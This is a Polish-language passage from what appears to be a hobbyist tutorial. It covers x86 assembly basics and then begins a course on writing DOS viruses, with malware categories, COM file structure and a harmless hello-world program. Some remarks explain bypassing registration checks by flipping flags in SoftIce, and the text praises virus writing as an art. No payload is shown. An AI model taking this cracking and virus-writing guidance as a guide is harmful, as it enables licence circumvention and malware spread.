W tabeli 4.2 zebrane zostały najważniejsze rejestry procesorów rodziny Intel 80x86. W kolumnie 1 znajduje się nazwa rejestru podstawowego, takiego jak w procesorze 8086. W kolumnie 2 jest natomiast nazwa, która oznacza rejestr procesora 80386 lub wyższego. Jest on wtedy nie 16 tylko 32 bitowy. Jeśli nic nie ma w kolumnie 2 (lub jej wogóle nie ma) oznacza to, iż rejestr nie uległ powiększeniu w 386'tce i nadal stosuje się nazwę z kolumny 1. Ponadto „Rejestr Znaczników” został tutaj tylko wzmiankowany, szerszy opis znajduje się w rozdziale 4.1.3.

1	2	Nazwa zwyczajowa		1	Nazwa zwyczajowa
Rejestry ogólnego przeznaczenia				Rejestr Znaczników (zob. flagi)	
AH AL	AX	EAX	Akumulator	Specjalne rejestry (386+)	
BH BL	BX	EBX	Bazowy	CR0	Control Register 0
CH CL	CX	ECX	Licznik	CR2	Control Register 2
DH DL	DX	EDX	Danych	CR3	Control Register 3
Rejestry segmentowe				TR4	Test Register 4
CS			Programu	TR5	Test Register 5
DS			Danych	TR6	Test Register 6
SS			Stosu	TR7	Test Register 7
ES			Dodatkowy	DR0	Debug Register 0
Rejestry wskaźnikowe				DR1	Debug Register 1
SI	ESI		Indeks źródła	DR2	Debug Register 2
DI	EDI		Indeks przeznaczenia	DR3	Debug Register 3
IP			Wskaźnik instrukcji	DR6	Debug Register 6
Rejestry stosu				DR7	Debug Register 7
SP	ESP		Wskaźnik stosu		
BP	EBP		Wskaźnik bazy		

Tabela 4.2: Rejestry procesorów Intel 80386 i wyższych

Rejestry ogólnego przeznaczenia są przeznaczone do przechowywania dowolnych danych i wykonywania różnych operacji (arytmetycznych, logicznych itp), pełnią także funkcje specjalne odpowiadające ich nazwom.

- AX (accumulator) — rejestr ten jest najczęściej używany przy operacjach mnożenia i dzielenia, a także w operacjach logicznych, arytmetycznych i odkładania wyników wielu operacji. 8 dolnych bitów tego rejestru określa się jako rejestr AL, a 8 górnych bitów jako AH
- BX (basis) — rejestr bazowy może być używany jako dwa 8-bitowe rejestry BH i BL, a np. jako 16-bit możemy go użyć do utworzenia adresu pamięci, tworząc z rejestrem segmentowym pełny adres — Segment:Offset — DS:BX
- CX (count) — rejestr zliczający jest wykorzystywany oprócz zliczania także do przesyłania danych. Może być także używany jako dwa rejestry 8-bitowe CH i CL.
- DX (data) — rejestr danych wykorzystuje się przy dzieleniu i mnożeniu. Jest także jedynym rejestrem, w którym można podać adres portu w rozkazach wejścia-wyjścia.

Rejestry segmentowe służą do adresowania pamięci operacyjnej.

- CS (code segment) — rejestr wskazuje początek segmentu kodu programu, tworzy pełny adres wraz z rejestrem IP — CS:IP. Rozkazy programu, skoki, powroty pobierane są w odniesieniu do tego rejestru.

- DS (data segment) — rejestr wskazujący początek segmentu danych
- SS (stack segment) — rejestr stosu wskazuje początek segmentu stosu
- ES (extra segment) — rejestr dodatkowy wskazujący dodatkowy segment danych

Rejestry wskaźników. Dostęp do danych adresowany jest przez połączenie adresu z rejestru segmentu z przesunięciem pobieranym z innego rejestru min. rejestru wskaźnikowego.

- SI (source index) — rejestr indeksowy źródła, najczęściej stosowany przy adresowaniu w instrukcjach przetwarzających łańcuchy znaków, tworzy wówczas pełny adres DS:SI
- DI (destination index) — rejestr indeksowy przeznaczenia, podobny do SI używany w adresowaniu danych przy przetwarzaniu łańcuchów znaków, tworzy wówczas pełny adres ES:DI
- SP (stack pointer) — wskaźnik stosu tworzy wraz z SS — SS:SP adres danej odesłanej na stos i jest wykorzystywany przy pobieraniu i zapisywaniu danych na stos.
- BP (base pointer) — wskaźnik bazy używany jest podczas operacji niestandardowych np. przy pobieraniu parametrów przekazywanych na stos.
- IP (instruction pointer) — wskaźnik instrukcji wskazuje na aktualnie wykonywaną instrukcję i wraz z rejestrem segmentu kodu tworzy pełny adres — CS:IP. IP wskazuje offset (przesunięcie) względem początku segmentu programu.

4.1.3 Flagi — rejestr znaczników

Flagi są komórkami, które mogą przyjmować wartość 0 lub 1 i są zawarte w rejestrze znaczników. Odpowiednie ustawienie poszczególnych flag decyduje o wykonaniu innych instrukcji a szczególnie instrukcji warunkowych. Najszybciej zrozumieć flagi można na przykładzie :

```
CMP AX,BX ; Porównaj rejestry AX z BX, jeżeli równe
           ; to flaga zerowa Z ustawiona na 1
JZ 0401233 ; Jeżeli flaga Z ustawiona na 1 to wykonaj
           ; skok do adresu 0401233
```

Oczywiście instrukcja CMP ustawia także inne flagi z zależności od wyniku porównania i podobnie inne instrukcje warunkowych skoków mogą sprawdzać także inne flagi. Szczegółowiej przedstawię to przy omówieniu skoków warunkowych.

Po co nam znajomość flag, a no po to aby podczas analizy kodu wiedzieć jaki wynik dało porównanie danych i czy np. skok zostanie wykonany czy nie. Poza tym debugując program możemy zmienić działanie instrukcji skoku zmieniając stan znaczników.

Np. w powyższym przykładzie AX jest równe BX i flaga zerowa Z została ustawiona na 1 więc skok warunkowy zostanie wykonany. Jeżeli jednak mimo równości AX i BX nie chcemy wykonać skoku to podczas śledzenia programu resetujemy flagę zerową.

Ciekawostki:

- Bit 6 rejestru znaczników — znacznik zera, najważniejsza przy pierwszych krokach łamania programów. Decyduje o podstawowych skokach warunkowych :-)

- Bit 6, (**ZERO FLAG**) — znacznik zera — ma wartość 1 gdy wynik operacji jest zerem, wynik różny od zera ustawia na 0
- Bit 7, (**SIGN FLAG**) — znacznik znaku — ma znaczenie tylko podczas operacji na liczbach ze znakiem, SF przyjmuje wartość 1 jeśli wynikiem operacji arytmetycznych, logicznych, przesunięć jest wartość ujemna, w przeciwnym wypadku przyjmuje wartość 0. Inaczej mówiąc SF pokazuje najbardziej znaczący bit (bit znaku) wyniku, niezależnie czy wynik jest 8 czy 16-bitowy
- Bit 8, (**TRAP FLAG**) — znacznik pracy krokowej — ustawia procesor w trybie pracy krokowej, w celu uruchomienia programu po debuggerem.
- Bit 9, (**INTERRUPT FLAG**) — znacznik zezwolenia na przerwanie — zezwala procesorowi rozpoznać zadanie obsługi przerwania pochodzące od zewnętrznych urządzeń systemu. Wyzerowanie IF powoduje, że procesor ignoruje przerwania.
- Bit 10, (**DIRECTORY FLAG**) — znacznik kierunku — wymusza zmniejszenie (DF=1) lub zwiększenie (DF=0) rejestrów indeksowych po wykonaniu instrukcji operujących na łańcuchach. Jeśli DF =0 to procesor przetwarza łańcuchy w kierunku rosnących adresów (od strony lewej do prawej) a jak 1 to w kierunku odwrotnym.
- Bit 11, (**OVERFLOW FLAG**) — znacznik nadmiaru — jest głównie wskaźnikiem błędu podczas operacji na liczbach ze znakiem. OF=1 jeśli dodanie dwóch liczb z jednakowym znakiem lub odjęcie dwóch liczb z różnymi znakami daje wynik nie mieszczący się w argumente wykonanej instrukcji, w przeciwnym przypadku znacznik jest 0. OF ma także wartość 1 gdy najbardziej znaczący bit (bit znaku) argumentu zostanie zmieniony przez przesunięcie podczas operacji arytmetycznej, w przeciwnym przypadku jest 0. Znacznik OF, razem ze znacznikiem CF, wskazuje także długość wyniku mnożenia. Jeśli bardziej znacząca część iloczynu jest różna od zera to OF i CF są równe 1, jeżeli jest inaczej to oba znaczniki są równe 0. OF także przyjmuje wartość 1 gdy operacja z dzielenia daje iloraz przekraczający rejestr przeznaczenia.

4.1.5 Stos

Stos (ang. *stack*) jest miejscem przechowywania danych takich jak rejestry lub zawartości komórek pamięci. Mamy dwie instrukcje PUSH, która przesyła dane na szczyt stosu i POP, która pobiera dane ze szczytu stosu. Stos jest stertą na której układane są dane, każda dana układana jest na szczyt a poprzednia dana schodzi na dalszą pozycję. Czyli istotna jest kolejność kładzenia danych na stos, gdyż w takiej samej(a dokładnie odwrotnej) kolejności musimy pobierać dane ze stosu:

```
PUSH EAX ; kładzie na szczyt stosu EAX
PUSH EBX ; kładzie na szczyt stosu EBX a EAX
           ; schodzi na dalsza pozycje
```

....instrukcje

```
POP EBX ; pobiera ze szczytu dana ktora jest
```

```

; EBX (a na szczycie zostaje EAX)
POP EAX ; pobiera ze szczytu stosu EAX

```

Acha jeszcze jedno, na szczyt stosu wskazuje tzw. wskaźnik stosu SP (Stack Pointer) a instrukcje PUSH i POP zwiększają i zmniejszają ten wskaźnik. Rejestr ten nigdy nie jest ustawiany bo procesor to robi automatycznie i zawsze wskazuje adres szczytu stosu (szczytowego słowa). Patrząc ogólnie na pamięć komputera, każda część programu może utworzyć swoją dowolną przestrzeń stosu. Programista powinien tak przydzielić pamięć aby stos nie pokrywał się przypadkiem z innymi obszarami pamięci.

4.1.6 CALL i RET — wywołanie funkcji i procedur

CALL *adres* — wywołuje funkcje o podanym adresie i wykonuje ją aż do powrotu (RET).

```

instrukcje...
CALL 040ABCCC
Mov eax,edx
instrukcje...

```

Wywołanie CALL wywoła funkcje o adrsie 040ABCCC i po powrocie z niej (RET) program będzie kontynuował dalej MOV eax,edx itd. Jak to się dzieje, że program wie gdzie ma wrócić? Ano CALL kładzie adres kodu na stosie, natomiast RET pobiera ten adres i wraca tam gdzie potrzeba.

Jezeli CALL wywołuje jakies funkcje, to argumenty takiej funkcji kładziemy na stosie przed wywołaniem CALL. Przykład takiego działania:

```

MOV EDI,[ESP+00000220] ; Zapisuje uchwyt okienka dialogowego w EDI
PUSH 00000100          ; Maksymalny rozmiar tekstu na stos
PUSH 00406130          ; Adres bufora dla tekstu na stos
PUSH 00000405          ; Identyfikator na stos
PUSH EDI               ; Uchwyt okienka dialogowego na stos
CALL GetWindowText    ; Wywołanie funkcji o parametrach
; zapisanych na stosie.

```

Widzimy więc, że przy jakichś ciekawych wywołaniach funkcji warto zastanowić się jakie parametry kładzione są na stosie i ogólnie warto sie zorientować jakich parametrow dana funkcja wymaga.

4.1.7 MOV — instrukcja przeniesienia

To najczęściej spotykana instrukcja umożliwiająca przenoszenie danych pomiędzy rejestrem a komórką lub pomiędzy rejestrami lub kopiowania stałej wartości do rejestru lub komórki. Ogólna postać to MOV *przeznaczenie*, *źródło* i nie powinno nikomu sprawić kłopotu jej zrozumienie.

Przykłady:

```

MOV EDS, EAX ; przeniesienie między dwoma rejestrami 32-bitowymi
MOV CL, 39   ; przeniesienie stałej do rejestru
MOV ES:[BX],AX ; zmiana przypisania segmentu

```

Kilka uwag:

1. Nie można bezpośrednio przenieść danych pomiędzy komórkami pamięci. Musimy najpierw przenieść dane do rejestru ogólnego przeznaczenia a później z rejestru do przeznaczenia w pamięci. Przykład, mamy dwie zmienne w pamięci np. TYLEK i ZADEK i aby przenieść wartość z jednej do drugiej to:

```
MOV AX, TYLEK
MOV ZADEK, AX
```

2. Nie można załadować bezpośrednio stałej do rejestru segmentu, musimy ją przenieść przez rejestr ogólnego przeznaczenia:

```
MOV AX, ADRES_DS
MOV DS, AX
```

3. Podobnie nie możemy przenieść bezpośrednio zawartości jednego rejestru segmentu do drugiego, podobnie musimy przez rejestr ogólnego przeznaczenia:

```
MOV AX, ES
MOV DS, AX
```

4. Nie można użyć rejestru CS jako argumentu przeznaczenia w instrukcji MOV.

Widzicie więc jakie kombinacje należy wykonywać z danymi i dlaczego aż tak dużo instrukcji MOV mamy w kodzie programu.

4.1.8 CMP i skoki warunkowe

Bardzo ważną instrukcją jest CMP (ang. *compare*), która decyduje o działaniu programu, pętlach, skokach, wywołaniach podprogramów itp. Instrukcja CMP działa na zasadzie odejmowania źródła od przeznaczenia i sprawdzaniu otrzymanego wyniku. Głównym celem działania tej instrukcji jest ustawienie rejestrów w zależności od otrzymanego wyniku. W przypadku operacji na argumentach bez znaku ustawiane są dwie flagi — zerowa ZF i przeniesienia CF, natomiast przy operacjach na argumentach ze znakiem dodatkowo jeszcze — nadmiaru OF i znaku SF

Przykład:

```
CMP AX, BX ; jeżeli AX = BX to ZF=1 i CF=0
           ; gdy AX > BX to ZF=0 i CF=1
           ; gdy AX < BX to ZF i CF=0
```

Na podstawie spełnianych warunków, czyli ustawieniu poszczególnych flag mogą nastąpić skoki warunkowe w kodzie. Najczęściej spotykany JZ — skok jeżeli ustawiona flaga Z czyli np. w przypadku porównania czy AX=BX i jeżeli tak to skok.

Podobna instrukcja jest TEST, która dla odmiany przeprowadza operację logiczną na bajtach — AND ale nie zapamiętuje wyniku a jedynie na jego podstawie ustawia odpowiednio flagi.

Przykład:

```

CALL procedura ; skok do etykiety procedura
TEST AX,AX
JZ adres2      ; Jezeli AX=0 to skocz do adres2

MOV AH, 4CH
MOV AL, 00H
INT 21H       ; W tym miejscu program się zakończy

procedura: MOV AX,1
            CMP  Wpisany_kod, Dobry_kod
            JE  dobrywpis
            RET                ; powrót

dobrywpis: XOR AX,AX          ; AX = 0
            RET                ; powrót

```

Procedura CALL wywołuje np. procedurę sprawdzania poprawności danych rejestracyjnych i w przypadku pomyslnym zapisuje do AX wartości logiczna 0 (np. przez XOR AX,AX) a jeżeli źle to zapisuje 1. Teraz instrukcja TEST AX,AX wykonuje operację logiczną na AX czyli AX and AX, jeżeli było (0 to 0) AND 0 da nam 0 i flaga zerowa Z zostaje ustawiona na 1. Teraz instrukcja skoku warunkowego sprawdza czy flaga zerowa Z=1 i robi skok. Natomiast gdy by było (1 AND 1) to flaga Z=0 i skok nie nastąpi.

A procedurka to wiadomo, na początku wpisujemy wartość logiczną 1 do AX (czyli zły kod) a później sprawdzamy jaki faktycznie jest wpisany kod, jeżeli poprawny to skok i operacja (1 XOR 1) co da nam 0 w AX i powrót, a jak zły to niech pozostanie 1 i powrót.

Należy pamiętać, że instrukcje CMP i TEST wykonują operacje na argumentach, których wykonanie ustawia kilka odpowiednich flag w zależności od wielkości argumentów, znaku, przeniesienia itp. Dlatego też możemy wykonać odpowiednie skoki nie tylko przy warunku A=B ale też w zależności czy mniejsze, większe, ze znakiem itp.

W tabeli 4.3 wymieniono wszystkie skoki. * zostały oznaczone te, które są szczególnie ważne dla arytmetyki liczb ze znakiem (uzupełnienie do dwóch).

Instrukcja	Opis	Skok jeśli...
JA	skok gdy powyżej	CF=0 i ZF=0
JAE	skok gdy powyżej lub równy	CF=0
JB	skok gdy poniżej	CF=1
JBE	skok gdy poniżej lub równy	CF=1 lub ZF=1
JC	skok gdy przeniesienie	CF=1
JCXZ	skok gdy CX=0	CX=0
JE	skok gdy jest równy	ZF=1
JG	skok gdy większy *	ZF=0 i SF=OF
JGE	skok gdy większy lub równy *	SF=OF
JL	skok gdy mniejszy	SF != OF
JLE	skok gdy mniejszy lub równy *	ZF=1 lub SF != OF

JMP	skok bezwarunkowy	bez warunku
JNA	skok gdy nie powyżej	CF=1 lub ZF=1
JNAE	skok gdy nie powyżej ani równy	CF=1
JNB	skok gdy nie poniżej	CF=0
JNBE	skok gdy nie poniżej ani równy	CF=0 i ZF=0
JNC	skok gdy nie ma przeniesienia	CF=0
JNE	skok gdy nie równy	ZF=0
JNG	skok gdy nie większy	ZF=1 lub SF!=OF
JNGE	skok gdy nie większy ani równy *	SF!=OF
JNL	skok gdy nie mniejszy *	SF=OF
JNLE	skok gdy nie mniejszy ani równy *	ZF=0 i SF=OF
JNO	skok gdy niema przepełnienia *	OF=0
JNP	skok gdy nie parzystosc	PF=0
JNS	skok gdy brak znaku *	SF=0
JNZ	skok gdy różne od zera	ZF=0
JO	skok gdy jest przepełnienie *	OF=1
JP	skok gdy parzystość	PF=1
JPE	skok gdy parzystość parzysta :-)	PF=1
JPO	skok gdy parzystość nieparzysta	PF=0
JS	skok gdy jest znak *	SF=1
JZ	skok gdy jest zero	ZF=1

Tabela 4.3: Skoki

Np. skok JA (skok gdy powyżej) wykonany jest gdy flagi CF=0 i ZF=0 i wykonuje skok gdy przeznaczenie jest większe od źródło (bo to wynikało z operacji porównania i takiego ustawienia flag). Od razu zaznaczam, że analizując kod pod SoftIce aby zmienić skok np. musimy nie tylko zmienić flagę Z ale i C (czyli np. r fl z; r fl c). To samo dotyczy się innych skoków warunkowych i zapraszam do tabeli specyfikacji skoków warunkowych.

4.1.9 TEST EAX,EAX — co to znaczy ?

Powyższa linia kodu wydaje się niezrozumiała. Należy jednak zastanowić się co robi dokładnie. Instrukcja TEST wykonuje operację AND na dwóch argumentach i w oparciu o ten wynik ustawiane są odpowiednie flagi.

Należało by więc przeanalizować czym jest operacja mnożenia logicznego AND. Działa ona na argumentach rozmiaru bajt lub słowo (ale nie na ich zwykłej postaci a postaci binarnej, bo działa dokładnie na bitach tych liczb).

Z matematyki wiemy że $0 \text{ AND } 0 = 0$; $0 \text{ AND } 1 = 0$ i $1 \text{ AND } 0 = 0$ a $1 \text{ AND } 1 = 1$ a więc operacja daje wynik jeden wtedy i tylko wtedy gdy oba bity równe są jeden.

Weźmy teraz TEST EAX, EAX. Załóżmy że EAX=0 czyli 00000000 AND 00000000 = 00000000 czyli na każdej pozycji będzie 0 i wtedy ustawiana jest flaga zerowa Z. Natomiast przy każdej innej

wartości np. 00000011 AND 00000011 da nam 00000011 i wtedy jeżeli gdziekolwiek na dowolnej pozycji wystapia w obu argumentach 1 to flaga Z nie jest ustawiana.

Daje nam to możliwość sprawdzenia czy np. EAX jest 0 czy jakąś inną wartością, gdyż tylko porównanie dwóch TYCH SAMYCH liczb o wartości 0 da nam 0 i ustawi flagę. Operacja AND na każdych dwóch TAKICH SAMYCH różnych od zera nie ustawi flagi zerowej bo zawsze gdzieś będzie 1 w bitach.

Dlatego też w programach często spotykane instrukcje TEST EAX,EAX a później *JZ adres* mają całkiem logiczne znaczenie bo skok nastąpi tylko w przypadku EAX=0. Nie należy więc sugerować się domyślnym znaczeniem instrukcji porównania EAX z EAX.

Na razie by było na tyle. Postaram się to rozbudować w przyszłości. Niech bity i mocz będą z Wami!

Rozdział 5

Tańcząc z bajtami

5.1 Co to jest wirus komputerowy?

Każdy się chyba zgodzi, że wirusy są jednym z najpiękniejszych i najbardziej tajemniczych twórców w świecie komputerów. Dużo się dziś słyszy o wirusach. Po światku komputerowym krąży wiele legend i mitów, często nieprawdziwych i przesadzonych. Czym tak właściwie jest wirus komputerowy? Przy dzisiejszej liczbie wirusów, ich różnorodności i pomysłowości technik stosowanych przez autorów trudno jest ściśle odpowiedzieć na to pytanie. Krótko mówiąc; wirus jest to program taki sam jak gra, czy aplikacja użytkowa. Program ten ma jednak inne zadania. Jakie? To zależy już tylko od inwencji i kunsztu autora. Wiele osób uważa, że wirus przede wszystkim musi coś niszczyć lub płać jakiegoś złośliwego figla. To prawda, że wiele wirusów zawiera w sobie takie czy inne funkcje destrukcyjne, ale nie są one bynajmniej ich głównym elementem, a wręcz przeciwnie. Funkcje destrukcyjne to ostatnie pociągnięcia pędzla artysty. Głównym elementem każdego wirusa są funkcje odpowiedzialne za jego rozmnażanie i ekspansję w systemie, bądź sieci. I to jest właśnie to, co wyróżnia je wśród innych programów komputerowych: umiejętność rozmnażania i samoistnego przenoszenia się z komputera na komputer. Jeżeli program spełnia te kryterium można śmiało nazwać go wirusem. Wiele osób do wspólnego wora z etykietą WIRUSY wrzuca również inne programy ingerujące bez wiedzy użytkownika w działanie systemu:

wirus jest to krótki program pisany najczęściej w języku niskiego poziomu mający zdolność samopowielania po uruchomieniu. Wirusy do swojej egzystencji potrzebują programu nośnika, do którego doczepiają się odpowiednio go modyfikując. Po uruchomieniu takiego programu najpierw uruchamia się wirus, a dopiero po zakończeniu jego działania sterowanie zostaje zwrócone do programu ofiary, który wykonuje swoje normalne funkcje. Zwykły użytkownik zwykle nic nie zauważa.

bomba logiczna o ile wirusy są pisane przez bardzo doświadczonych programistów, o tyle bomby logiczne są pisane zwykle przez osoby, które pierwszy raz dorwały się do funkcji systemowych (odczyt, zapis do pliku, usuwanie pliku itp.) i bardzo chciałyby do czegoś wykorzystać swoje nowe umiejętności. Piszą, więc program np. w Pascalu który po uruchomieniu usuwa z dysku np. plik io.sys co uniemożliwia start systemu. Taka bomba ląduje często u kolegów, albo w szkole z podpisem jakiejś znanej gry. Bomby logiczne mają często zapalnik czasowy np. działają tylko między 14, a 15 w poniedziałek.

konie trojańskie konie trojańskie są głównie używane w celu zdobywania miast względnie komputerów. Celem wirusa jest zarażenie jak największej liczby komputerów. Koń trojański może zostać napisany z myślą o tylko jednym systemie. Jakie są zadania konia trojańskiego? To również zależy w znacznej mierze od inwencji autora i zastosowania. Np. koniem trojańskim nazwiemy program, który po uruchomieniu na komputerze ofiary wyśle nam pliki z jego hasłami lub wykona inną czynność ułatwiającą nam włamanie do systemu. Konie trojańskie oparte są na podstępnie. Często udają gry, spakowane zdjęcia itp.

robaki robak to program, którego działanie podobnie jak działanie wirusa polega na kopiowaniu samego siebie. Różnica polega na tym, że robak nie potrzebuje innego programu, pod który mógłby się podczepić. Robaki są najbardziej popularne w sieciach, gdyż mają tam dostęp do protokołów transmisji plików, dzięki czemu mogą się rozmnażać.

Jak wspomniałem już wcześniej powyższy podział nie jest ścisły. Przy dzisiejszym rozwoju sieci zaciera się różnica między poszczególnymi typami wrednych programów. Większość wirusów ma dzisiaj zarówno cechy robaka (przenoszenie się siecią), wirusa (infekcja plików), bomby logicznej (destrukcja), czy konia trojańskiego (wysyłanie haseł, dokumentów *.doc itp.).

5.2 Epitafium dla DOSu

Już słyszę ten głos: Człowieku, czyś ty zgłupiał? Po co napisałeś książkę przeterminowaną o dziesięć lat!

W pewnym sensie gość ma rację. DOS umarł i nikt chyba nie jest z tego powodu zadowolony. Po co więc uczyć się pisać wirusy, które i tak nie będą mogły rozmnażać się we współczesnym świecie? Musisz wiedzieć, że techniki pisania wirusów przy przejściu z DOS do Windows nie zmieniły się aż tak bardzo. Postaram Cię, przekonać, że warto przeczytać pierwszy tom mojej pracy:

1. Wirusy pisze się w Assemblerze, zarówno te DOSowe jak i te pod Windows. Książka ta poprawi przede wszystkim Twoją znajomość Assemblera, co da Ci większe możliwości przy wirusach dla platformy Windows.
2. W książce są opisane techniki, które wykorzystują również nowe wirusy np. szyfrowanie, polimorfizm.
3. Wirusy DOSowe są prostsze. Łatwiej na przykładzie starych wirusów wyjaśnić pewne techniki stosowane przez mikroby.
4. Potraktuj pisanie wirusów jak sztukę dla sztuki. Robię to bo to kocham, a nie dlatego, że mam jakąś chorą żądzę destrukcji i chcę tylko niszczyć.

Myślę więc, że po zapoznaniu się z tą częścią mojej szkoły będziesz dobrze przygotowany, do pisania wirusów pod Windows. Jeżeli pisałeś(aś) już w Assemblerze i naprawdę nie chcesz uczyć się o wirusach pod DOS przeczytaj tylko rozdziały o szyfrowaniu i polimorfizmie. Są one jak najbardziej aktualne.

5.3 Co programista wirusów wiedzieć powinien

Przy pisaniu pracy, zakładałem, że programowałeś(aś) już kiedyś i znasz przynajmniej w elementarnym stopniu Assembler. Jeśli nie, nie ma czym się martwić. Zajrzyj do spisu literatury na końcu książki i zakup jakiś podręcznik do nauki Assemblera. Jeżeli poznasz Assembler w stopniu elementarnym jesteś już gotowy(a) do lektury, ponieważ wszystkie trudniejsze miejsca programów są szczegółowo skomentowane, a funkcje opisane. Nie będę się jednak rozdrabniał nad takimi zagadnieniami jak np. co robi rozkaz *jne*, czy *cmp*, gdyż byłoby to irytujące dla bardziej zaawansowanych i mijają by się z celem. Na rynku jest wiele wspaniałych podręczników do Assemblera, więc pisanie kolejnego nie ma sensu.

Wskazana jest również znajomość jakiegoś języka wyższego poziomu np. Pascal, C, C++, a najlepiej wszystkich naraz, gdyż trudne algorytmy będą najpierw przedstawione w jednym z tych języków.

Niektórzy uważają, że Assembler to bardzo trudny język. Moje motto to: Dla chętnego, nic trudnego. Osobiście uważam, że Assemblera można się jako tako nauczyć w trzy tygodnie. Pascala Czytelnik powinien znać ze szkoły.

Wskazana jest również elementarna znajomość matematyki (rozdziały o kryptografii).

5.3.1 Wymagana znajomość Assemblera

Oto lista zagadnień, które powinieneś(aś) znać z Assemblera, aby zrozumieć w pełni treść książki:

1. Niedziesiątne systemy liczbowe.
2. Elementarna znajomość budowy procesorów.
3. Organizacja i zarządzanie pamięcią w systemie operacyjnym DOS.
4. Szablony programów COM i EXE w Assemblerze.
5. Deklarowanie zmiennych i stałych w Assemblerze.
6. **Adresowanie pamięci — segment i offset. Podział pamięci na segmenty. Przesyłanie danych.**
7. Operacje na stosie.
8. Procedury i makroinstrukcje.
9. Operacje arytmetyczne i logiczne. Przesuwanie bitów.
10. **Skoki warunkowe i bezwarunkowe. Instrukcje porównujące.**
11. Pętle i operacje na łańcuchach - rozkazy MOVsX, STOSx, LODSx itp.
12. Informacje podstawowe o przerwaniach. Mechanizm przejmowania przerwań będzie dokładnie opisany.
13. **Operacje na plikach.**

Pogrubioną czcionką wyróżniłem tematy szczególnie ważne. Powinieneś(aś) zwrócić na nie szczególną uwagę. Dokładne zrozumienie tych tematów to klucz do krainy Assemblera.

5.3.2 Wymagana znajomość Pascala

Znajomość Pascala nie jest konieczna, chociaż byłaby wskazana. Pascal jest łatwym językiem. Poczytaj jakąś książkę do poduszki. Zapoznaj się z podstawowymi algorytmami np. sortowanie, dynamiczne struktury danych, elementy analizy algorytmów, teoria grafów i problemy optymalizacji na grafach. Programowania i wiedzy nigdy za dużo.

5.3.3 Wymagana znajomość C i C++

W tym tomie książki nie będziemy zbyt wiele używać C++, ale każdy haker, a tym bardziej programista wirusów powinien znać ten język. Za pomocą C++ będę ilustrował wiele przykładów w II tomie mojej szkoły traktującym o wirusach dla Windows. Z C będziemy korzystać przy nauce WinAssemblera.

Zacznij się powoli uczyć tego języka, jeśli jeszcze go nie znasz.

A teraz już dość lania wody. Przejdźmy do tego, co Tygryski lubią najbardziej: KODOWANIA WIRUSÓW.

Rozdział 6

Infekcja plików COM

6.1 Drogi ekspansji wirusów w systemie operacyjnym DOS

Jak wspomniałem już wcześniej, zadaniem każdego wirusa jest rozmnażanie się. Podstawową techniką stosowaną przez wirusy jest doklejenie się do pliku innego programu. Dzięki infekcji jak największej ilości plików na danym komputerze zwiększamy szansę wirusa na przedostanie się do innego systemu. Aby zarazić nowy komputer wystarczy tylko uruchomić na nim jeden z zarażonych plików. Wirus przeszuka dysk niezainfekowanego komputera i doklei się do programów, które znajdzie.

6.2 Budowa pliku COM

Pliki COM są programami o bardzo prostej budowie, dlatego też stanowią znakomity kąsek dla programistów wirusów. Pliki COM dominowały głównie we wczesnej fazie istnienia systemu DOS.

Pliki COM wyróżnia głównie fakt, że zawierają one program w postaci absolutnej. Program COM wygląda w pamięci dokładnie tak samo jak na dysku, nie zawiera nagłówka (tak jak pliki EXE) mówiącemu systemowi operacyjnemu, jak ma załadować program do pamięci. Gdy uruchamiamy COMa DOS ładuje całą jego zawartość pod adres **CS:100h** i wykonuje skok do tego adresu (ustawia wskaźnik rozkazu IP na 100h). Program zaczyna się wykonywać aż do instrukcji zwrócenia sterowania do systemu. Cały program musi zmieścić się w jednym segmencie danych, czyli może mieć maksimum 64KB. Wynika to z tego, że za pomocą szesnastobitowego adresu możemy najwyżej zaadresować przestrzeń od CS:0000h do CS:FFFFh, ponieważ jednak program COM zaczyna się zawsze od CS:0100h możemy odbliczyć maksymalną długość pliku COM:

$$\text{FFFFh} - \text{0100h} = \text{FEFFh} = 65279\text{d}$$

Przyjrzyjmy się teraz ogólnej budowie pliku COM. Będziemy używać kompilatora TASM. Jeżeli go nie posiadasz ściągnij z internetu. Jest ogólnie dostępny.

```
; HELLO.ASM  
;  
; Program wyświetla tekst na ekranie.
```

```

;
; Kompilacja:  TASM   (z opcją 'la' - tworzy listing programu)
; Konsolidacja: TLINK  (z opcją 't'   - tworzy program '*.com')

segment_kodu SEGMENT      ; początek segmentu programu
ASSUME cs:nothing, ds:nothing, es:nothing, ss:nothing
; ASSUME - jest dyrektywą kompilatora, a nie instrukcją
; procesora. Mówi ona kompilatorowi żeby automatycznie
; uzupełniał nazwy segmentów przy adresowaniu.
; Moim zdaniem należy pisać długie postacie adresów.
; Uniknie się w ten sposób wielu błędów.
;
; lea dx, hello          <- krótka postać adresu
; lea dx, cs:[hello]    <- długa postać adresu
;
; Z długiej postaci możemy od razu odczytać o jaki segment
; nam chodzi.

ORG 0100h
; ORG - jest również dyrektywą kompilatora. Mówi ona kompilatorowi
; pod jakim adresem w pamięci powinna się znajdować następująca po niej
; instrukcja. Ponieważ chcemy skompilować program do COM ustawiamy tę
; dyrektywę na 0100h. Instrukcja 'push cs' po załadowaniu
; programu do pamięci powinna znaleźć się dokładnie pod adresem
; CS:0100h
start:
push  cs                ; cs := ds
pop   ds

mov   ah, 09h           ; wyświetl łańcuch znaków - funkcja DOS
lea  dx, ds:[hello]    ; załaduj offset łańcucha do dx
int  21h               ; wykonaj

mov   ah, 4Ch           ; zakończ program - funkcja DOS
mov   al, 00h
int  21h

dane:
hello db 'I love viruses!!!', 13, 10, '$' ; tekst do wyświetlenia

; Pamiętaj, że tekst musi być zakończony znakiem '$'.
; Gdy DOS napotka ten znak w pamięci przestaje pisać.
; Spróbuj usunąć znak $ i uruchomić program ...

```

```
segment_kodu ENDS
end start ; od tej etykiety program zacznie się wykonywać
```

W powyższym programie nie powinno być chyba nic niejasnego. Jeśli jest to znak, że Czytelnik powinien powtórzyć sobie wiadomości z programowania w Assemblerze, gdyż tego języka będziemy głównie używać. Spójrzmy na wygenerowany przez TASM listing. Listing jest to kod źródłowy programu jednak z dokładniejszym zapisem instrukcji. Instrukcje po lewej stronie są zapisane w postaci kodu maszynowego. To właśnie ten kod jest zrozumiały dla komputera.

```
; Plik HELLO.lst
```

```
Turbo Assembler Version 5.0      02-14-02 05:00:50      Page 1
vir\hello.ASM
```

```
8
9 0000      segment_kodu SEGMENT
10 ASSUME cs:nothing, ds:nothing, es:nothing, ss:nothing
; wyciąłem linijki kodu zawierające komentarze
; offset ; kod maszynowy rozkazu
30 0100      start:
31 0100  0E      push  cs
32 0101  1F      pop   ds
33
34 0102  B4 09      mov   ah, 09h
35 0104  BA 010Fr      lea  dx, ds:[hello]
36 0107  CD 21      int   21h
37
38 0109  B4 4C      mov   ah, 4Ch
